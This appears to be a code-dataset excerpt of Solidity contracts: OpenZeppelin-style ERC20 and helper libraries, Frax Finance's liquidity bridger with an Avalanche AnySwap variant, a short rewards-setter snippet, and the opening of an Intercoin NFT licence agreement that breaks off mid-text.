* * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/Uniswap/TransferHelper.sol // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/Staking/Owned.sol // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor (address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/Bridges/FraxLiquidityBridger.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ======================= FraxLiquidityBridger ======================= // ==================================================================== // Takes FRAX, FXS, and collateral and bridges it to other chains for the purposes of seeding liquidity pools // and other possible AMOs // An AMO Minter will need to give tokens to this contract first // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian contract FraxLiquidityBridger is Owned { // SafeMath automatically included in Solidity >= 8.0.0 using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances and addresses IFrax public FRAX = IFrax(0x853d955aCEf822Db058eb8505911ED77F175b99e); IFxs public FXS = IFxs(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0); ERC20 public collateral_token; IFraxAMOMinter public amo_minter; // Informational string public name; // Price constants uint256 private constant PRICE_PRECISION = 1e6; // AMO Minter related address private amo_minter_address; // Collateral related address public collateral_address; uint256 public col_idx; // Admin addresses address public timelock_address; // Bridge related address[3] public bridge_addresses; address public destination_address_override; string public non_evm_destination_address; // Balance tracking uint256 public frax_bridged; uint256 public fxs_bridged; uint256 public collat_bridged; // Collateral balance related uint256 public missing_decimals; uint256 public collatDollarBalanceStored = 0; bool public override_collat_balance; uint256 public override_collat_balance_amount; /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _owner, address _timelock_address, address _amo_minter_address, address[3] memory _bridge_addresses, address _destination_address_override, string memory _non_evm_destination_address, string memory _name ) Owned(_owner) { // Core timelock_address = _timelock_address; // Bridge related bridge_addresses = _bridge_addresses; destination_address_override = _destination_address_override; non_evm_destination_address = _non_evm_destination_address; // Informational name = _name; // AMO Minter related amo_minter_address = _amo_minter_address; amo_minter = IFraxAMOMinter(_amo_minter_address); // Collateral related collateral_address = amo_minter.collateral_address(); col_idx = amo_minter.col_idx(); collateral_token = ERC20(collateral_address); missing_decimals = amo_minter.missing_decimals(); } /* ========== VIEWS ========== */ function getTokenType(address token_address) public view returns (uint256) { // 0 = FRAX, 1 = FXS, 2 = Collateral if (token_address == address(FRAX)) return 0; else if (token_address == address(FXS)) return 1; else if (token_address == address(collateral_token)) return 2; // Revert on invalid tokens revert("getTokenType: Invalid token"); } function showTokenBalances() public view returns (uint256[3] memory tkn_bals) { tkn_bals[0] = FRAX.balanceOf(address(this)); // FRAX tkn_bals[1] = FXS.balanceOf(address(this)); // FXS tkn_bals[2] = collateral_token.balanceOf(address(this)); // Collateral } function showAllocations() public view returns (uint256[10] memory allocations) { // All numbers given are in FRAX unless otherwise stated // Get some token balances uint256[3] memory tkn_bals = showTokenBalances(); // FRAX allocations[0] = tkn_bals[0]; // Unbridged FRAX allocations[1] = frax_bridged; // Bridged FRAX allocations[2] = allocations[0] + allocations[1]; // Total FRAX // FXS allocations[3] = tkn_bals[1]; // Unbridged FXS allocations[4] = fxs_bridged; // Bridged FXS allocations[5] = allocations[3] + allocations[4]; // Total FXS // Collateral allocations[6] = tkn_bals[2] * (10 ** missing_decimals); // Unbridged Collateral, in E18 allocations[7] = collat_bridged * (10 ** missing_decimals); // Bridged Collateral, in E18 allocations[8] = allocations[6] + allocations[7]; // Total Collateral, in E18 // Total USD value, in E18 // Ignores FXS allocations[9] = allocations[2] + allocations[8]; } // Needed for the Frax contract to function function collatDollarBalance() public view returns (uint256) { (, uint256 col_bal) = dollarBalances(); return col_bal; } function dollarBalances() public view returns (uint256 frax_val_e18, uint256 collat_val_e18) { // Get the allocations uint256[10] memory allocations = showAllocations(); // FRAX portion is Frax * CR uint256 frax_portion_with_cr = (allocations[2] * FRAX.global_collateral_ratio()) / PRICE_PRECISION; // Collateral portion uint256 collat_portion = allocations[8]; // Total value, not including CR, ignoring FXS frax_val_e18 = allocations[2] + allocations[8]; // Collat value, accounting for CR on the FRAX portion collat_val_e18 = collat_portion + frax_portion_with_cr; } /* ========== MUTATIVE FUNCTIONS ========== */ function bridge(address token_address, uint256 token_amount) external onlyByOwnGov { // Get the token type uint256 token_type = getTokenType(token_address); // Defaults to sending to this contract's address on the other side address address_to_send_to = address(this); if (destination_address_override != address(0)) address_to_send_to = destination_address_override; // Can be overridden _bridgingLogic(token_type, address_to_send_to, token_amount); // Account for the bridged balances if (token_type == 0){ frax_bridged += token_amount; } else if (token_type == 1){ fxs_bridged += token_amount; } else { collat_bridged += token_amount; } } // Meant to be overriden function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal virtual { revert("Need bridging logic"); } /* ========== Burns and givebacks ========== */ // Burn unneeded or excess FRAX. Goes through the minter function burnFRAX(uint256 frax_amount) public onlyByOwnGov { FRAX.approve(amo_minter_address, frax_amount); amo_minter.burnFraxFromAMO(frax_amount); // Update the balance after the transfer goes through if (frax_amount >= frax_bridged) frax_bridged = 0; else { frax_bridged -= frax_amount; } } // Burn unneeded or excess FXS. Goes through the minter function burnFXS(uint256 fxs_amount) public onlyByOwnGov { FXS.approve(amo_minter_address, fxs_amount); amo_minter.burnFxsFromAMO(fxs_amount); // Update the balance after the transfer goes through if (fxs_amount >= fxs_bridged) fxs_bridged = 0; else { fxs_bridged -= fxs_amount; } } // Give collat profits back. Goes through the minter function giveCollatBack(uint256 collat_amount) external onlyByOwnGov { collateral_token.approve(amo_minter_address, collat_amount); amo_minter.receiveCollatFromAMO(collat_amount); // Update the balance after the transfer goes through if (collat_amount >= collat_bridged) collat_bridged = 0; else { collat_bridged -= collat_amount; } } /* ========== RESTRICTED FUNCTIONS - Owner or timelock only ========== */ function setTimelock(address _new_timelock) external onlyByOwnGov { timelock_address = _new_timelock; } function setBridgeInfo( address _frax_bridge_address, address _fxs_bridge_address, address _collateral_bridge_address, address _destination_address_override, string memory _non_evm_destination_address ) external onlyByOwnGov { // Make sure there are valid bridges require( _frax_bridge_address != address(0) && _fxs_bridge_address != address(0) && _collateral_bridge_address != address(0) , "Invalid bridge address"); // Set bridge addresses bridge_addresses = [_frax_bridge_address, _fxs_bridge_address, _collateral_bridge_address]; // Overridden cross-chain destination address destination_address_override = _destination_address_override; // Set bytes32 / non-EVM address on the other chain, if applicable non_evm_destination_address = _non_evm_destination_address; emit BridgeInfoChanged(_frax_bridge_address, _fxs_bridge_address, _collateral_bridge_address, _destination_address_override, _non_evm_destination_address); } function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } // Generic proxy function execute( address _to, uint256 _value, bytes calldata _data ) external onlyByOwnGov returns (bool, bytes memory) { (bool success, bytes memory result) = _to.call{value:_value}(_data); return (success, result); } /* ========== EVENTS ========== */ event RecoveredERC20(address token, uint256 amount); event BridgeInfoChanged(address frax_bridge_address, address fxs_bridge_address, address collateral_bridge_address, address destination_address_override, string non_evm_destination_address); } // File contracts/Bridges/Avalanche/FraxLiquidityBridger_AVAX_AnySwap.sol pragma experimental ABIEncoderV2; contract FraxLiquidityBridger_AVAX_AnySwap is FraxLiquidityBridger { constructor ( address _owner, address _timelock_address, address _amo_minter_address, address[3] memory _bridge_addresses, address _destination_address_override, string memory _non_evm_destination_address, string memory _name ) FraxLiquidityBridger(_owner, _timelock_address, _amo_minter_address, _bridge_addresses, _destination_address_override, _non_evm_destination_address, _name) {} // Override with logic specific to this chain function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal override { // [Avalanche] if (token_type == 0){ // L1 FRAX -> anyFRAX // Simple dump in / CREATE2 // AnySwap Bridge TransferHelper.safeTransfer(address(FRAX), address_to_send_to, token_amount); } else if (token_type == 1) { // L1 FXS -> anyFXS // Simple dump in / CREATE2 // AnySwap Bridge TransferHelper.safeTransfer(address(FXS), address_to_send_to, token_amount); } else { // L1 USDC -> USDC.e // Simple dump in / CREATE2 // AEB / Official Avalanche Bridge TransferHelper.safeTransfer(address(collateral_token), address_to_send_to, token_amount); } } }
[Avalanche] L1 FRAX -> anyFRAX Simple dump in / CREATE2 AnySwap Bridge L1 FXS -> anyFXS Simple dump in / CREATE2 AnySwap Bridge L1 USDC -> USDC.e Simple dump in / CREATE2 AEB / Official Avalanche Bridge
function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal override { if (token_type == 0){ TransferHelper.safeTransfer(address(FRAX), address_to_send_to, token_amount); } else if (token_type == 1) { TransferHelper.safeTransfer(address(FXS), address_to_send_to, token_amount); } else { TransferHelper.safeTransfer(address(collateral_token), address_to_send_to, token_amount); } }
5,712,484
./full_match/80001/0xA25B7b86e62651D8fce1421104Ba1236EbEdf683/sources/SmartMining.sol
functino set rewardsPerhour
function SetRewardsPerHour(uint256 _rewardsPerHour) public { require(msg.sender == creator); rewardsPerHour = _rewardsPerHour; }
854,941
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** ********************* NFT TEMPLATE CONTRACT ********************* Although this code is available for viewing on GitHub and Etherscan, the general public is NOT given a license to freely deploy smart contracts based on this code, on any blockchains. To prevent confusion and increase trust in the audited code bases of smart contracts we produce, we intend for there to be only ONE official Factory address on the blockchain producing these NFT smart contracts, and we are going to point a blockchain domain name at it. Copyright (c) Intercoin Inc. All rights reserved. ALLOWED USAGE. Provided they agree to all the conditions of this Agreement listed below, anyone is welcome to interact with the official Factory Contract at the address 0x22222e0849704b754be0A372fFcDb9B22e4D7147 to produce smart contract instances, or to interact with instances produced in this manner by others. Any user of software powered by this code MUST agree to the following, in order to use it. If you do not agree, refrain from using the software: DISCLAIMERS AND DISCLOSURES. Customer expressly recognizes that nearly any software may contain unforeseen bugs or other defects, due to the nature of software development. Moreover, because of the immutable nature of smart contracts, any such defects will persist in the software once it is deployed onto the blockchain. Customer therefore expressly acknowledges that any responsibility to obtain outside audits and analysis of any software produced by Developer rests solely with Customer. Customer understands and acknowledges that the Software is being delivered as-is, and may contain potential defects. While Developer and its staff and partners have exercised care and best efforts in an attempt to produce solid, working software products, Developer EXPRESSLY DISCLAIMS MAKING ANY GUARANTEES, REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, ABOUT THE FITNESS OF THE SOFTWARE, INCLUDING LACK OF DEFECTS, MERCHANTABILITY OR SUITABILITY FOR A PARTICULAR PURPOSE. Customer agrees that neither Developer nor any other party has made any representations or warranties, nor has the Customer relied on any representations or warranties, express or implied, including any implied warranty of merchantability or fitness for any particular purpose with respect to the Software. Customer acknowledges that no affirmation of fact or statement (whether written or oral) made by Developer, its representatives, or any other party outside of this Agreement with respect to the Software shall be deemed to create any express or implied warranty on the part of Developer or its representatives. INDEMNIFICATION. Customer agrees to indemnify, defend and hold Developer and its officers, directors, employees, agents and contractors harmless from any loss, cost, expense (including attorney’s fees and expenses), associated with or related to any demand, claim, liability, damages or cause of action of any kind or character (collectively referred to as “claim”), in any manner arising out of or relating to any third party demand, dispute, mediation, arbitration, litigation, or any violation or breach of any provision of this Agreement by Customer. NO WARRANTY. THE SOFTWARE IS PROVIDED “AS IS” WITHOUT WARRANTY. DEVELOPER SHALL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, OR EXEMPLARY DAMAGES FOR BREACH OF THE LIMITED WARRANTY. TO THE MAXIMUM EXTENT PERMITTED BY LAW, DEVELOPER EXPRESSLY DISCLAIMS, AND CUSTOMER EXPRESSLY WAIVES, ALL OTHER WARRANTIES, WHETHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR USE, OR ANY WARRANTY ARISING OUT OF ANY PROPOSAL, SPECIFICATION, OR SAMPLE, AS WELL AS ANY WARRANTIES THAT THE SOFTWARE (OR ANY ELEMENTS THEREOF) WILL ACHIEVE A PARTICULAR RESULT, OR WILL BE UNINTERRUPTED OR ERROR-FREE. THE TERM OF ANY IMPLIED WARRANTIES THAT CANNOT BE DISCLAIMED UNDER APPLICABLE LAW SHALL BE LIMITED TO THE DURATION OF THE FOREGOING EXPRESS WARRANTY PERIOD. SOME STATES DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES AND/OR DO NOT ALLOW LIMITATIONS ON THE AMOUNT OF TIME AN IMPLIED WARRANTY LASTS, SO THE ABOVE LIMITATIONS MAY NOT APPLY TO CUSTOMER. THIS LIMITED WARRANTY GIVES CUSTOMER SPECIFIC LEGAL RIGHTS. CUSTOMER MAY HAVE OTHER RIGHTS WHICH VARY FROM STATE TO STATE. LIMITATION OF LIABILITY. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL DEVELOPER BE LIABLE UNDER ANY THEORY OF LIABILITY FOR ANY CONSEQUENTIAL, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE OR EXEMPLARY DAMAGES OF ANY KIND, INCLUDING, WITHOUT LIMITATION, DAMAGES ARISING FROM LOSS OF PROFITS, REVENUE, DATA OR USE, OR FROM INTERRUPTED COMMUNICATIONS OR DAMAGED DATA, OR FROM ANY DEFECT OR ERROR OR IN CONNECTION WITH CUSTOMER'S ACQUISITION OF SUBSTITUTE GOODS OR SERVICES OR MALFUNCTION OF THE SOFTWARE, OR ANY SUCH DAMAGES ARISING FROM BREACH OF CONTRACT OR WARRANTY OR FROM NEGLIGENCE OR STRICT LIABILITY, EVEN IF DEVELOPER OR ANY OTHER PERSON HAS BEEN ADVISED OR SHOULD KNOW OF THE POSSIBILITY OF SUCH DAMAGES, AND NOTWITHSTANDING THE FAILURE OF ANY REMEDY TO ACHIEVE ITS INTENDED PURPOSE. WITHOUT LIMITING THE FOREGOING OR ANY OTHER LIMITATION OF LIABILITY HEREIN, REGARDLESS OF THE FORM OF ACTION, WHETHER FOR BREACH OF CONTRACT, WARRANTY, NEGLIGENCE, STRICT LIABILITY IN TORT OR OTHERWISE, CUSTOMER'S EXCLUSIVE REMEDY AND THE TOTAL LIABILITY OF DEVELOPER OR ANY SUPPLIER OF SERVICES TO DEVELOPER FOR ANY CLAIMS ARISING IN ANY WAY IN CONNECTION WITH OR RELATED TO THIS AGREEMENT, THE SOFTWARE, FOR ANY CAUSE WHATSOEVER, SHALL NOT EXCEED 1,000 USD. TRADEMARKS. This Agreement does not grant you any right in any trademark or logo of Developer or its affiliates. LINK REQUIREMENTS. Operators of any Websites and Apps which make use of smart contracts based on this code must conspicuously include the following phrase in their website, featuring a clickable link that takes users to nftremix.com: "Visit https://nftremix.com to release your own NFT collection." STAKING REQUIREMENTS. In the future, Developer may begin requiring staking of ITR tokens in order to take further actions (such as producing series and minting tokens). Any staking requirements will first be announced on Developer's website (intercoin.org) four weeks in advance. Staking requirements will not apply to any actions already taken before they are put in place. CUSTOM ARRANGEMENTS. Reach out to us at intercoin.org if you are looking to obtain ITR tokens in bulk, remove link requirements forever, remove staking requirements forever, or get custom work done with your NFT projects. ENTIRE AGREEMENT This Agreement contains the entire agreement and understanding among the parties hereto with respect to the subject matter hereof, and supersedes all prior and contemporaneous agreements, understandings, inducements and conditions, express or implied, oral or written, of any nature whatsoever with respect to the subject matter hereof. The express terms hereof control and supersede any course of performance and/or usage of the trade inconsistent with any of the terms hereof. Provisions from previous Agreements executed between Customer and Developer., which are not expressly dealt with in this Agreement, will remain in effect. SUCCESSORS AND ASSIGNS This Agreement shall continue to apply to any successors or assigns of either party, or any corporation or other entity acquiring all or substantially all the assets and business of either party whether by 